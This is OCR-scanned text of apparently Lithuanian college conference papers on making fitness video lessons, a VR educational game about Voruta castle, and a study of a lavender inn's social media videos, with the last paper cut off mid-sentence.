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Sporto studijos ,,BeFit* vaizdo pamokuy kiirimas

Dagnius Adomaitis, Vidas Vainoras
Kauno kolegija

Anotacija. Vaizdo pamokos gali buti puikus budas perteikti informacija
vartotojams, taciau ne visos jos yra efektyvios ir sugeba pritraukti démesj. Todél Sio
darbo tikslas yra atlikti tyrimg ir parengti gaires, skirtas kurti efektyvias bei kokybiskas
vaizdo pamokas. I$analizavus sporto pratimus, kuriuos galima atlikti namuose, bei
sporto pratimy pamokas vaizdo formatu, buvo iSgryninti reikalavimai efektyvioms
sporto pratimy vaizdo pamokoms, jy kirimo eiga ir etapai. Straipsnyje apraSomi
populiariausi ir efektyviausi namy sporto pratimai, internete esan¢iy vaizdo pamoky
tipai ir jy poZymiai bei jy kiirybos etapai.

Raktiniai ZodZiai: vaizdo pamokos, pratimai, sportas, efektyvumas.

Ivadas

Vaizdo formatu pateiktas pamokas galima rasti daugelyje sri¢iy: sporte,
medicinoje, automechanikoje, marketinge, mokymo jstaigy veikloje, versle,
informacinése technologijose. Vaizdo formatu pateiktos pamokos palengvina vartotojui
informacijos gavimo procesa, nes nereikia susitikti su informacija teikian¢iu asmeniu, be
to, informacija galima isklausyti pakartotinai taip i ja geriau jsigilinant. Tokiu btdu yra
sutaupomas tiek informacijos teikéjo, tiek jos gavéjo laikas. Biitent sporto srityje yra daug
vaizdo pamoky, ta¢iau kartais jos neefektyvios, per ilgos ir neaiskiai pateikia informacijg.
Tokiu atveju vartotojai pradeda sportuoti darydami pratimus netaisyklingai, todél gali
patirti traumas.

Sporto studija ,,BeFit”, uzsiimanti grupinémis motery sporto treniruotémis ir
skatinanti sveikg gyvenimo buida, uzsaké sukurti vaizdo pamokas, kurios leisty atlikti
sportinius pratimus namuose. Sporto studijos treneréms pastebéjus, jog treniruo¢iy metu
moterys atlieka pratimus netaisyklingai, buvo nutarta sukurti ir pateikti savo auditorijai
sporto pratimus, leisian¢ius sportuoti taisyklingiau ir efektyviau.

Tyrimo tikslas — istirti efektyviy sporto pratimy vaizdo pamoky kiirimo ir
pateikimo biidus.

Tyrimo uZdaviniai:

o [8analizuoti efektyvius sporto pratimus, kuriuos galima atlikti namuose.

o [Sanalizuoti internete esanciy sporto pratimy pamokas.

e I3gryninti vaizdo sporto pamoky kiirybos etapus.

Sporto pratimy analizé

Atliekant sporto pratimus namuose, reikia tinkamai susikoncentruoti j atlikimo
technika, pasirinkti tinkama pratimy sudétinguma pagal savo fizinj pasirengima ir
sporting patirtj (Sportuojantys, n.d.).

Sportuojant namuose galima naudoti jvairy inventoriy sportui namy
salygomis: kupring, vandens buteliukus, kéde, knygas. Pavyzdziui j kuprine galima
prikrauti svoriy ir taip pasunkinti sau atliekamus pratimus. Vandens buteliukai puikiai
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tinka kaip nedideli, lengvi svoriai; kédé leidzia atlikti tam tikrus pratimus, kuriems
reikalinga pakyla ar atrama; knygos taip pat puikiai tinka kaip nedidelé pakyla,
leidzianti padidinti pratimy efektyvuma.

Atsispaudimai — tai puikus pratimas, skirtas sustiprinti kraitinés, ranky, peéiy
ir galvos raumenis. Tokie pratimai gali buti atlickami namuose ir nereikalauja jokios
specialios jrangos. Norint pasunkinti pratima, galima uzsidéti ant nugaros kupring su
svoriais ar, atliekant pratimg ant grindy, po rankomis pasidéti knygas ir taip atlikti
gilesnius atsispaudimus.

Atsispaudimai nuo sienos

Atsispaudimai nuo sienos viena Atsispaudimai.
ranka, pasisukus Sonu.

Atsispaudimai, pakélus viena koja  Atsispaudimai, palieciant peti. Atsispaudimai su pasikélimu ir
(pakaitomis). pasisukimu | Sona ant vienos
} rankos

1 pav. Atsispaudimai

Atsispaudimai iliustracijoje pateikiami i§ eilés nuo lengviausio iki sunkiausio
(1 pav.).

Paprasti pratimai kojoms, tokie kaip $uoliukai ar prittpimai, gali treniruoti kojy
raumenis. Tai efektyvus ir populiarus pratimas, kurj galima atlikti namuose. Siy pratimy
metu ypac svarbu islaikyti tiesig nugarg ir viska atlikti teisingai. Norint pasisunkinti
pratima, galima uzsidéti kurping su svoriais.



Suoliukai. Pritiipimai. Kojos peciu plotyje. Platas pritpimai.

Pasistichimai plataus pritapimo

pozicijoje.
N, L
‘\\r 7_‘/.‘ \;\\?L L |
» Ly d

J

2 pav. Pratimai kojoms

Kojy pratimai pateikiami i$ eilés nuo lengviausiy iki sunkiausiy (2 pav.).
Pratimai sédmenims — puikiis pratimai treniruoti sédmeny raumeny grupe, jie
padeda gerinti kiino stabilumg bei lankstuma.
Sulenkty per kelius koju kélimas, gulint Dubens kélimas. Soniniai kojos kélimai atsigulus.

ant pilvo. Svarbu - kelti uzpakaliu ji
sutraukiant, o ne nugaros apacia

i
B

Sulenktos kojos mostai. Kojos spyriai j virsu
Galima daryti su tampria guma.

1 L
=) | a<=) |
D\ L= 4"“ Y

3 pav. Pratimai sédmenims

Sédmeny grupés pratimai pateikiami i$ eilés nuo lengviausiy iki sunkiausiy
(3 pav.).

Pratimai nugarai — svarbi sporto dalis, norint i§laikyti gera laikyseng ir i§vengti
nugaros skausmy ar kity susijusiy nugaros problemy.



4 pav. Pratimai nugarai

Atliekant nugaros pratimus galima pasinaudoti namy inventoriumi — kéde ir
strypu. Sie pratimai pateikiami i eilés nuo sunkiausio iki lengviausio (4 pav.).

Pratimai rankoms: treniruojant ranky lankstumg ir jéga galime pakelti sunkesnius
daiktus ar atlikti sunkesnius fizinius darbus, taip pat maZiname ligy ir traumy rizika.

Atsispaudimai tricepsui. Alknés pric A

tsispaudimai nuo aukétesnio Bicepso istempimas.
pavirsiaus.

Ranku kefimas | virsu,

s e § S

5 pav. Pratimai rankoms



Siy pratimy efektyvumui didinti galime panaudoti kede. Pratimai pateikiami i§
eilés nuo sunkiausio iki lengviausio (5 pav.).
Pratimai pilvo presui — tai kiino branduolys kurj privalu stiprinti ne tik norint
i8laikyti grazu kiina, bet ir iSlaikyti kiino branduolj lanksty ir stipry (6 pav.).
Atlieckame klasikinj PLANK. I8 pradZiy pasikeliame viena ranka, o po to kita.

Grjztame | prading PLANK pozicija ant dilbiy.
18 pradziy viena ranka, o po to su kita,

eicole bk

Yoj i pricsinga
pakes

6 pav. pratimai pilvo presui

Pratimai visam kiinui: §ie pratimai treniruoja visg kiing ir padeda islaikyti gera
fizing formg apkraunant visus kiino raumenis (7 pav.).

Esant PLANK pozicijoje hu Esant PLANK pn71|n|x delnu Aktyvus judesys i$ jtupsto -  kelio
(kai remi ““ﬂ"lg delnais, o ne dilbiai - palieciame priesingos rankos petj. pakelima. Rankos taip pat
keliu palie¢ia arome pakaitomis. juda

me
ranka. Darome
pa kalunus

7 pav. Pratimai visam kainui

Visi Sie pratimai yra popuharus ir daugumai Zmoniy gerai Zinomi, tai —
efektyvas ir laiko patikrinti pratimai. Zmonés daznai apjungia kai kuriuos pratimus ir
sukuria naujus, leidziancius treniruoti pora raumeny grupiy vienu metu taip pat
efektyviai ir taupant laika.

Vaizdo pamoky sporto srityje analizé

Kuriant vaizdo pamokas svarbu atsizvelgti j kintan¢ius auditorijos poreikius ir
iprocius. Pastaruoju metu galima pastebéti tendencija, jog zmonés mégsta labai
trumpus, taciau informatyvius ir kiirybiskai pateiktus vaizdo jrasus. Jei per pirmasias
sekundes ziarovas néra jtraukiamas, jis jau bus i$junges vaizdo jrasa. Todél
rekomenduojama, kad mokytojai biity kiirybingi kurdami vaizdo pamokas ir kitus
mokymo isteklius, atitinkan¢ius besimokanéiy poreikius (Imelda Escandor, 2022).
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Vaizdo pamoka turi atkreipti démesj per pirmgsias sekundes ir suzadinti
emocijg. Turi bati naudojamos originalios nuotraukos ar vaizdo jraSai, neturi biti
naudojama vaizdo medziaga i$ interneto. Vaizdas reklamoje turi bati aiSkus, kokybiskas
ir ,neistemptas®, turi bati rodoma tik tai, kas svarbu. Siuolaikiniai tyrimai rodo, kad
zmonés renkasi labiau skaityti teksta, nei klausytis, todél teksto panaudojimas vaizdo
pamokoje taip pat yra svarbus. Svarbiausia — i$sikelti kuriamo vaizdo jra$o tikslg ir tik
tada iSanalizuoti tikslo pasiekiamuma rodancius rodiklius (Verslo Sparnai, 2021).

Internete galima rasti skirtingu tipy sporto pratimy namuose pamoky.
Tiesioginé treniruoté — taip galima pavadinti sporto pratimy pamokas, Kurios
daZniausiai publikuojamos ,,Y outube‘ platformoje. Jos pasizymi §iais bruoZzais:

o [lgi vaizdo jraSai — nuo 10 iki 20 minuciy;

Nemontuotas vaizdo jrasas;

Néra scenarijaus;

Pratimai rodomi ir aiSkinami labai greitai;
Nesikeic¢ia kadrai.

Tokiose vaizdo pamokose matome asmenj, Kuris pats sportuoja namuose ir turi
jgudziy (8 pav.). Savo atliekamus pratimus jis paai$kina labai greitai, ta¢iau gerai
suprasti ir jsigilinti yra sunku. Todél tokio tipo vaizdo pamokos tinka nebent jau
jgudusiems sportininkams, kurie pajégty greitai sekti pratimus pamokoje, kadangi jau
zino, kaip jie atliekami.

8 pav. Tiesioginé treniruoté

Mokomosios pratimy pamokos — tai tokio tipo vaizdo pamokos, kurios
dazniausiai talpinamos j ,,TikTok® ir ,Instagram“ platformas. Jos pasizymi S$iais
bruozais:

Trumpi vaizdo jrasai;

Aiskiai parodomas pratimas;
ParaSytas scenarijus;

Paaiskinama pratimo atlikimo eiga,
Vaizdai rodomi i§ skirtingy pusiy.

11



4!‘ " Pratimai dirbantiems
I3\, sédima darba
24/7

9 pav. Mokomosios pratimy pamokos

Tokios vaizdo pamokos labiau taupo zmogaus laika, jose yra iSaiSkinama ir
parodoma taisyklinga pratimy atlikimo technika, taip pat jos labiau patraukia zmogaus
démesj. Vaizdo jrasas pateikiamas daug kokybiskiau, jdomiau ir efektyviau (9 pav.).

Kirybos etapy vaizdo pamoky kiirimui nustatymas

Kuriant sporto pratimy namuose vaizdo pamokas buvo taikomi atlikto tyrimo
rezultatai. Panaudojant sukauptg informacijg, vaizdo pamokos buvo kuriamos
tikslingai, isskaidant procesa | etapus: Sscenarijaus parengimas, pasiruo$imas,
filmavimas, darbai po filmavimo.

Scenarijaus parengimas. Rasant scenarijy, pagrindiné uzduotis — tikslingai ir
efektyviai sutalpinti reikalingg informacija i kuo trumpesnj laiko tarpa; tiksliai
apsirasyti kokie pratimai bus rodomi, ka apie juos reikia pasakyti, kaip pavaizduoti, kad
zitrovui nekiltu jokiy papildomy klausimy, o pratimas atrodyty toks jdomus ir
efektyvus, kad zilirovas jsitraukty. ,,Atminkite, kad zitrint Ziniatinklio vaizdo jrasa
zmoniy démesys yra dar blogesnis, nei ziGrint televizoriy. Kad ir kaip norétume
spusteléti nuotolinio valdymo pultelj norédami pakeisti kanalg, misy pelés gaidukas
juda dar didesniu greic¢iu. Taigi laikykite vaizdo jrasa trumpa, nuo dviejy iki trijy
minuéiy“ (Jefferson Graham, 2012).

Pasiruo$imas ir filmavimas. Pagal numatyta filmavimo plang ir scenarijy yra
parenkama tinkama filmavimo jranga. I filmavimg bitina atvykti anks¢iau nei sutartu
laiku, kad suspéti paruosti jranga ir aplinka. Bitina pasiruosti tinkamai ir kokybiskai
jradyti garso takelj, pritaikyti tinkamg ap$vietima, patikrinti filmavimo ,.kampus*.
»Kaip darbo koordinatoriui, gali tekti uzsakyti specialig jranga, kuri reikalinga tam
tikromis dienomis. Turite jsitikinti, kad jrangg turite ir ji tinkamai veikia.“ (Udai
Senapati, 2022). Tinkamai pasirengus, atliekami filmavimo darbai.

Darbai po filmavimo. Atlikus filmavimo darbus, reikia patikrinti medZiagg, ja
apdoroti ir sumontuoti. Vaizdo medziaga reikia pateikti zitirovui taip, kad jam buty jdomu
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ja zitréti. Vaizdo medziaga turi biti kokybiskai ir patraukliai pateikiama — svarbu viskas:
vaizdas, garsas, emocijos, spalvos. Biitina jterpti tekstg, muzika, zodzius, garso efektus,
nuotraukas ir vaizdo kadrus taip, kad visa tai sudarytu vienga kokybiSka produkta,
traukiantj Zitrovo akj. ,,Montavimas yra jdomi filmy kirimo dalis. Cia pradedate kurti
filma ir sujungti visus skirtingus nufilmuotus kadrus, kad papasakotuméte savo istorija.
Proceso metu pamatysite, kaip jusy filmas jgis forma, ir pridésite viska, ko reikia, kad
kadry rinkinj paverstuméte baigtu filmu* (Dan Farrell, 2017).

ISvados

1. Ivertinus atliekamus pratimus namuose, efektyviausi ir populiariausi sporto
pratimai yra skirti rankoms, sédmenims, pilvo presui ir nugarai.

2. Atlikus vaizdo pamoky sporto srityje rinkos tyrima nustatyta, kad siekiant
pritraukti vartotojo démesj turi baiti aiskus ir trumpas jrasas su aiskiai paaiskinta pratimo
atlikimo eiga, o pratimai turi bati rodomi i§ skirtingy pusiy, kad aiskiai matytysi
raumeny jsitempimai.

3. Remiantis tyrimy rezultatais, svarbiausi reikalavimai vaizdo produktui yra
tikslingai ir efektyviai sutalpinti reikalingg informacija j kuo trumpesnj laiko tarpa;
tiksliai apsiraSyti kokie pratimai bus rodomi, ka apie juos reikia pasakyti, kaip
pavaizduoti, kad zitirovui nekiltu jokiy papildomy klausimy, o pratimas atrodyty toks
jdomus ir efektyvus.
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1. Gitana Ginkevicé (2021). Verslo sparnai. ISBN 978-609-95867-1-7

2. Imelda Escandor (2022). The Effectiveness of Video-based Lessons as Instructional
Materials in Light of the Covid-19 Pandemic. ISBN 978-334-66875-1-7

Jefferson Graham (2012). Video Nation. ISBN 978-013-30169-4-3

Udai Senapati (2022). Film Making. ISBN 978-643-68169-2-2

Dan Farrel (2017). The Movie Making Book. ISBN 978-178-10122-8-4

Sporto svetainé ,,Sportuojantys* https://sportuojantys.lt/pratimai-namuose/.

IS

Summary

In this article, after analysing fitness exercises that can be done at home and fitness exercise
workouts in video format, the requirements for effective video workout of fitness exercises, the
process and stages of their creation are clarified. In addition, the most popular and effective home
fitness exercises, the types of online video workouts and their features, as well as the stages of
their creation are described.

Keywords: video tutorials, exercises, sport, effectiveness.
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Edukacinio VR Zaidimo apie ,,Vorutos* pilji kiirimas

Viktorija Bagaslauskaité, Mindaugas Zmitrulevicius
Kauno kolegija

Anotacija. Siame straipsnyje pateikiami virtualios realybés (VR) technologijos
taikymo istorinio edukacinio zaidimo kiirimui tyrimy rezultatai, analizuojami virtualios
realybés sprendimy taikymo pavyzdziai edukacijoje. Panaudojus tyrimo rezultatus yra
kuriamas edukacinis Zaidimas, skirtas supazindinti zaidéja su Vorutos pilies istorija.

Raktiniai ZodZiai: virtuali realybé, edukacinis zaidimas, zaidimo kiirimo
procesas, VR zaidimai.

Ivadas

Lietuvos mokiniai pagrindinése, vidurinése mokyklose ir gimnazijose mokosi
pagal iprasta Svietimo sistemos programa taikant jvairius mokymo ir mokymosi
metodus. Taciau Siuolaikingje visuomenéje jprastiniai mokymosi metodai, padedantys
isisavinti mokymosi turinj, yra papildomi Siuolaikiniais nuotoliniais, virtualiais, vis
labiau vizualizuotais ir interaktyviais metodais. Jy déka mokymasis tampa jdomesnis,
jsisavinamas platesnis jo turinys. COVID-19 pandemijos metu ir po jos mokiniams teko
susidurti su naujovémis, jskaitant virtualy mokymasi i§ namy. Pandemija paskatino
peréjimg prie virtualaus mokymosi naudojant jvairias mokymosi technologijas. Nors ir
paskatintas negatyvaus reiskinio, §is procesas buvo ir tebéra svarbus zingsnis pereinant
prie pazangios, efektyvios ir jtraukios mokymosi aplinkos. Viena i§ tokiy moderniy ir
patraukliy vartotojams mokymosi technologijy — virtualios edukacijos, kuriy metu,
naudojantis VR akiniais, galima patirti istoriniy, geografiniy, technologiniy, meno ar
kity sriciy reiskiniy ar jvykiy realistiSkuma interaktyviai juose dalyvaujant.

Tyrimo tikslas — atlikti edukaciniy virtualios realybés produkty tyrima ir sukurti
edukacinj zaidima vaikams, skirtg istoriniy Ziniy apie Vorutos pilj jgijimui ir plétrai.

Darbo uzdaviniai:

1. Atlikti istoriniy edukaciniy virtualios realybés produkty pavyzdziy tyrima.

2. Isanalizuoti edukacinio VR zaidimo kiirimo procesa.

3. Atlikti duomeny apie Vorutos pilies struktiirg ir architektiirg analizg.

4. Sukurti edukacinio zaidimo prototipa.

Edukacinio Zaidimo kiirimo procesas

Norint sukurti edukacinj Zaidimag, reikia iSanalizuoti istorinius duomenis ir
nustatyti Vorutos pilies pastatymo aplinkybes bei suprasti, kaip ir kodél buvo pastatyta
§i pilis. Voruta — viena i§ svarbiy Lietuvos piliy, buvo pastatyta XIII amziuje. Ji yra
vienintelé istoriniuose $altiniuose uzfiksuota Sio amziaus pilis Lietuvos teritorijoje.
Nepaisant to, kad istoriniuose Saltiniuose §ios pilies pavadinimas buvo paminétas, tiksli
pilies vieta ilga laika nebuvo Zinoma. Taciau XX a. Vorutos pilies vieta buvo atrasta
Seimyniskeéliy piliakalnyje. Pilis buvo pastatyta konkrecioje strateginiams poreikiams
svarbioje teritorijoje (Baranauskas T, 2001).
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Istoriniai dokumentai rodo, kad ji pradéta statyti netrukus po miSio su
Kalavijuociy ordinu 1229 metais. Vorutos pilis buvo svarbi: 1251 m. per susirémima
jos teritorijoje Lietuvos karalius Mindaugas sékmingai apsigyné nuo Lietuvos
kunigaiks¢iy, méginusiy perimti jo valdzia, puolimo. Musis Zymi svarby Sios pilies
istorijos momentg (Baranauskas T, 2020).

Analizuojant rinkoje egzistuojancius pavyzdzius, galima paminéti virtualios
realybés edukacija ,,Partizany paslaptys®. Edukacijos metu mokiniai yra supazindinami
su vienu i§ svarbiy periody Lietuvos istorijoje — 1944-1953-yjy mety okupacijos,
trémimy ir partizany sukilimo laikotarpiu. Sioje edukacijoje aiskiai ir realistiskai
perteikiami partizany bunkeriai, atkuriamos karo ir pokario laikotarpio kareiviy
uniformos ir apranga, parodomas vokie&iy karinis ginklas MP-40. Si realisting
partizany gyvenimo aplinka, buities detalés yra atkurtos jvertinant istorinius faktus
(Kultarinés edukacijos sistema, n.d.).

Zaidimo interaktyvumas atsiskleidzia per dalyvavima jvykiuose, kai
naudojantis VR technologija mokiniai dalyvauja dirbdami komandoje. Misko tankméje
surade svarbius dokumentus, Zaidéjai turi juos pristatyti savo broliams partizanams.
Atlikus 8ig uzduotj, partizanas pakvieéia zaidéjus atvykti j bunkerj, j kurj patekti galima
einant po Zeme iskastu tuneliu. Po to perteikiamas garsinis partizano monologas apie
kasdieng kovotojy buitj ir apie tai, kaip svarbu yra kovoti dél Lietuvos laisves.
Edukacijos pabaigoje partizany vadas pakvie¢ia visus pasiklausyti jy pogrindzio dainos.
Pasibaigus edukacijai, mokiniai aptaria savo jspiidzius ir jgytas naujas Zinias Su
mokytojais (1 pav.).

1 pav. VR zaidimo ,,Partizany paslaptys‘ nuotraukos

Isitraukimas ir interaktyvumas yra vienas i$ svarbiausiy §ios virtualios realybés
edukacijos bruozy. Sioje edukacijoje ne tik klausomasi partizany istorijy, bet ir tampama
jy kovos dalimi. Zaidimo pabaigoje dalyviams suteikiama proga $audyti i3 Sautuvo.

»TimeRide“ tinklalapis siiilo jdomia virtualiosios realybés patirtj, skirta
Berlyno sienos griuvimo istorijai. VR turo metu vartotojai gali tyrinéti svarbias vietas,
jvykius ir istorijas, susijusias su Berlyno praeitimi, jgyti unikalios patirties ir
naudojantis interaktyviomis technologijomis praplésti savo zinias apie $io miesto
istorija. Sis projektas yra ne tik jdomus biidas puoseléti istorine atmintj apie Berlyno
sieng, bet ir suteikia galimybe¢ naujai kartai suvokti Sio istorinio laikotarpio svarbg ir
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jtaka. Taip pat tai yra puikus pavyzdys, kaip VR technologija gali biiti naudojama
edukaciniams tikslams bei istorinés sgmonés skatinimui (TimeRide, 2023) (2 pav.).

2 pav. Atkurtas vaizdas i$ nuotraukos VR projektui ,,Berlyno siena“

Tyrimo rezultatai ir jy aptarimas

Tyrimo metu raSytinuose Saltinuose analizuota informacija apie senovinius
budus, taikytus XIII a. Lietuvoje namy ir piliy statybai. Pagrindiné statybiné medziaga
tais laikais buvo mediena. Medienos rastus dédavo vieng ant kito jstrizai i$skaptuodami
vieta, kur medZiai susikerta. Vietoje dury daZznai budavo suriSami keletas rasty ir
atremiami j dury staktg. Metalas namy statybai tuo metu naudojamas nebuvo. Langai,
jeigu tokie biidavo statinyje, biidavo tiesiog siauros medzio rastuose iskirstos angos.
Stogams dengti daZnai bidavo naudojama medzio zievé (3 pav.).

3 pav. Piliy architektiiros pavyzdziai

Taikant virtualios realybés produkty pavyzdziy ir istoriniy Saltiniy tyrimy
rezultatus, buvo sukurtas VR edukacinio zaidimo, kuris padeda gilinti istorines Zinias,
susijusias su Vorutos pilimi, prototipas. Kuriant zaidimo prototipa, buvo naudojama
,»3D autodesk Maya* kompiuteriné programa. Naudojant $ig programing jranga buvo
sukurti modeliai, pritaikytos tekstGros. Eksportuojant j ,,Unity“ programg buvo jkelti
pilies boksty, varty ir sieny modeliai, iSdéstyti pagal pilies teritorijos plang. Norint
pasiekti autenti$ka viduramziy i$vaizdg, visoms pilies konstrukcijoms buvo pritaikytos
specializuotos teksttiros ir medziagos (4 pav.).
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4 pav. Pilies vaizdas ,,Unity* programoje

Norint, kad §is projektas jgyty zaidimo, o ne vien tik edukacijos bruozy, yra
bitina sgveika su zaidéju. Dél tos priezasties yra sukuriamas veikéjas, kuris reaguoja |
ji zitrint zaidéjui. Veikéjas buvo sukurtas pagal nuotrauka (zr. 5 pav.), kuri buvo
atsiysta i§ interneto su nemokama licencija, ir dalinai modifikuotas: sumazinta krtitiné,
pailgintas veidas. Drabuziai sukurti naudojant ,,Cloth* funkcija ,,Blender* programoje
ir po to skulptuojami, tam kad matytysi drabuziy raukslés.

Plaukai sukurti kreiviy pagalba, Sias geometriskai iSlankstant i$ kity kreiviy ir
suploninant galuose, kad jgyty sruogy pavidala. Kasos taip pat sukurtos kreiviy pagalba;
toliau naudojant ,,bevel* funkcija, yra sukuriami poligonai.

5 pav. Veikéjo modelis, sukurtas naudojant nuotrauka

Zaidimo veikéjo drabuziams ir pagiam veikéjui modeliuoti buvo naudojamos
specialiai sukurtos arba atsisiystos tekstiiros, pavyzdziui, batams buvo naudojama
gyviiny odos tekstlira, o drabuziams — lino tekstira. Akims ir plaukams kurti buvo
naudojamos jprastos natiiralios spalvos. Pasirinkta naudoti mélyng spalvag akims ir
geltong — plaukams, nes tai labiausiai atitinka lietuvés moters jvaizdj.
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ISvados

1. Panaudojant analogiSky edukaciniy virtualios realybés produkty tyrimo
metu gautus rezultatus pasirinkti Vorutos pilies VR edukacinio zaidimo prototipo
techniniai ir kiirybiniai elementai.

2. Taikant susijusiy istoriniy Saltiniy analizés rezultatus sukurta tikroviska
Vorutos pilies architektariniy objekty ir zaidimo veikéjo vizualizacija.

3. Sukurtas VR zaidimas, lavinantis vaiky istorines Zinias ir interaktyvaus
mokymosi jgudzius.
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Summary

In this article the results of research on the application of virtual reality (VR) technology in the
development of a historical educational game are presented and examples of application of VR
solutions in education are analysed. Using the results of the research, an educational game is
created to introduce the players to the history of VVoruta Castle.
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UAB ,,Levandula® reklamos priemoniy efektyvumo tyrimas

Deividas Jackis, Vidas Vainoras
Kauno kolegija

Anotacija. Siuolaikinéje reklamos rinkoje vaizdo jrasai tampa vis
reikSmingesniu jrankiu prekiy zenklo zinomumui didinti ir tikslinés auditorijos
jsitraukimui skatinti. Siame tyrime siekiama jvertinti, kaip skirtingo formato
reklaminiai vaizdo jrasai veikia vartotojy emocines reakcijas, démesio sutelkimag ir
bendrg jsitraukimg. Tyrimo metu 164 respondentams buvo rodomi du skirtingi vaizdo
irasai, pateikiami klausimai internetinéje apklausoje.

Raktiniai ZodZiai: socialiniai tinklai, vaizdo jrasai, emocinés reakcijos,
démesio sutelkimas, kiekybinis tyrimas.

Ivadas

Kiekvienais metais atsiranda naujy budy, kaip unikaliai pateikti vaizdo turinj.
Imonés, suvokdamos $ig pokyCiy dinamika, siekia prisitaikyti prie naujy vartotojy
poreikiy bei lukeséiy pasitelkiant vartotojy pritraukimo buidus — kuriant reklaminius
vaizdo jrasus. Vizualiné informacija gali buti pateikiama skirtingais formatais.
Remiantis ,,Hubspot* duomenimis, 2023 m. sausio ménesj apklausus daugiau nei 1000
socialiniy tinkly specialisty, 54 proc. i$ jy pasirinko publikuoti trumpus vaizdo jrasus.
Vertinant tai, kad trumpi vaizdo jrasai socialiniuose tinkluose yra veiksminga priemoné
vartotojy pritraukimui, jmonés dalinasi aktualia informacija, skelbia konkursus, pristato
produktus ar paslaugas per Siuolaikiskas platformas, tokias kaip ,,Facebook®,
LInstagram®. Svarbu atskleisti reklamos priemoniy veiksmingumg vartotojy atzvilgiu,
todél atlikta kiekybiné apklausa suteiks ziniy, j kurias bus galima atsizvelgti pries
kuriant naujus vaizdo jrasus.

Tyrimo metodai. Tyrimas atliktas taikant anketinés apklausos, statistinés
tyrimo duomeny analizés, turinio analizés tyrimo metodus. Anketinés apklausos metodu
siekta iSsiaiSkinti ,Lavender Inn“ socialinése paskyrose pateikiamy vaizdo jrasy
veiksmingumg ir vartotojy nuomone apie pateiktus vaizdo jrasus. Statistiné tyrimo
duomeny analizé taikyta apdorojant specifinius anketinés apklausos duomenis ir
skaiCiuojant respondenty atsakymy procentinius daznius. Tyrimo metu apklausti
jvairaus amziaus ,,Lavender Inn Palanga“ socialinio tinklo ,,Facebook* sekéjai. I§ viso
apklausoje dalyvavo 164 respondentai.

Tyrimo tikslas — istirti UAB ,,Levandula“ vaizdo jrasy veiksmingumg.

Tyrimo uZdaviniai:

e [Sanalizuoti jmonés naudojamas socialiniy tinkly paskyras.

e Sukurti interneting apklausa skirta iSsiaiskinti vartotojy nuomong apie
pateikiamus vaizdo jrasus socialiniuose tinkluose.

o I3analizuoti atliktos internetinés apklausos rezultatus ir pateikti i§vadas.
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Apie jmone

UAB ,Levandula®“ (,Lavender Inn”) jkurta 2018 metais, ant VieSvény
tvenkinio kranto, esaniu 7 km nuo TelSiy centro. Imoné turi moderny pastaty
kompleksa, kurj sudaro sveciy namai, SPA kompleksas ir kaviné. Keliy mety bégyje
imoné plétési, atidaré nauja restorana Palangoje, Basanaviciaus gatvéje. Restoranas
,Lavender Inn“ sifilo ne tik unikalius su levandomis susijusius patiekalus, bet ir
i$siskiria aukstos kokybés produkty pasiila, tokia kaip levandy kremai, eteriniai aliejai
ir sirupai.

1 pav. ,,Lavender Inn“ logotipas

Socialiniai tinklai yra placiai naudojama komunikacijos priemoné, kuri
suteikia galimybe vartotojams kurti, dalintis ir keistis tekstine ar vaizdine informacija.
Taip pat $i komunikacijos priemoné suteikia unikalias galimybes augti verslui.
Pavyzdziui, pasitelkus keliamg turinj ] socialinius tinklus, palaikyti ry$j su tiksline
auditorija, skatinti prekybg bei pritraukti naujy klienty. Lietuvoje 2019 m. 54,8 proc.
imoniy pasinaudojo socialiniais tinklais darbo tikslams (Lietuvos statistika, 2020).
Imoneés, aktyviai dalyvaujancios socialiniuose tinkluose, uzmezga glaudzius santykius
su klientais (Atherton, 2023). Plétoti jmonés reputacija galima socialinéje erdvéje,
taCiau tai priklauso nuo tinkamai parinktos strategijos. Internetinés technologijos
leidziancios pasiekti dideles minias yra labai svarbus jrankis, kuriuo reikéty tinkamai
pasinaudoti, kol jis yra démesio centre. Verslininkams virtualios rinkos pasiekimas
pasirodé kaip zingsnis j priekj, siekiant ne tik jtvirtinti savo prekiy Zenklus, bet ir
uZsitarnauti pripazinimg rinkoje (Mutuku, 2018).

Imoné ,,Levandula“ pagal Siuolaikines verslo tendencijas, veiksmingai naudoja
6 aktyvias socialiniy tinkly paskyras ,,Facebook™ ir ,,Instagram* platformose: ,,Lavender
Inn Guest House®, ,,Lavender Inn Palanga“ ir ,,Lavender Inn Shop* (Zr. 1 ir 2 lenteléje).

1 lentelé. Imonés ,, Levandula“ socialinio tinklo ,, Facebook “
paskyry 2024 m. rodikliai.

Paskyry wLavender Inn wLavender Inn «

rodikliai Guest House“ Palanga“ »Lavender Inn Shop
Ivertinimas | 4,3/5 (apzvalgy: 124) 4,8 (apzvalgy: 20) Ivertinimo néra
Stebétojy 8,252 stebétojai 2069 stebétojai 58 Stebétojai
skaiCius
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2 lentelé. Imoneés ,, Levandula “ socialinio tinklo ,, Instagram
paskyry 2024 m. rodikliai.

Paskyry ,sLavender Inn Guest sLavender Inn ,Lavender Inn
rodikliai House“ Palanga“ Shop*
Irasy kiekis 128 55 10
Sekéjy skaicius 1,018 1,311 108

Socialiniy tinkly paskyrose matomas vientisas dizainas. kiekviename jrase
i§laikoma vientisa stilistika (Zr. 2 pav.).

2 pav. ,,Lavender Inn“ Instagram paskyros dizainas

Vientisumas leidzia sukurti atpazjstama paskyros vizualinj identitetg. Todél
norint islaikyti vientisag savo prekiy zenklo estetika socialinése platformose, reikia
nuosekliai laikytis pries tai pasirinktos stilistikos (Vincent, 2023).

Tyrimo eiga ir gauty rezultaty analizé

Grjztamasis ,,Lavender Inn“ sekéjy rySys tampa svarbiu rodikliu siekiant
gerinti teikiamy paslaugy kokybe. Imonés reprezentavimas ir pateikiamas turinys ugdo
tam tikrus lankytojy poreikius. Pagal tai zinios apie vartotojy reakcijg ir jy poreikius
atitinkancias reklamos priemonés tampa svarbios ir reikalingos. Jmonéje ,,Lavender
Inn*“ iki Siol nebuvo atlikta vaizdo jrasy vertinimo tyrimy, todél Sis tyrimas aktualus
jmonés reklamos priemoniy veiksmingumo gerinimui. Prie§ kuriant vaizdo jrasus
biitina nustatyti, koks vaizdo jraso formatas yra jtaigesnis auditorijai. Pavyzdziui,
vertinant jtraukimo lygj, sukeliamas emocijas ir geb¢jima padidinti susidoméjimg. Du
skirtingy scenarijy vaizdo jrasai buvo parinkti siekiant atlikti Sig analizg.

Pirmasis vaizdo jrasas buvo sutelktas j estetika, montaza, pabréziant zmoniy
kiekj, emocijas, meilg ir tekstines frazes. Antrasis vaizdo jrasas taip pat akcentavo
panasius elementus. Jis buvo laisvesnio formato ir daugiau orientuotas j zaisminguma,
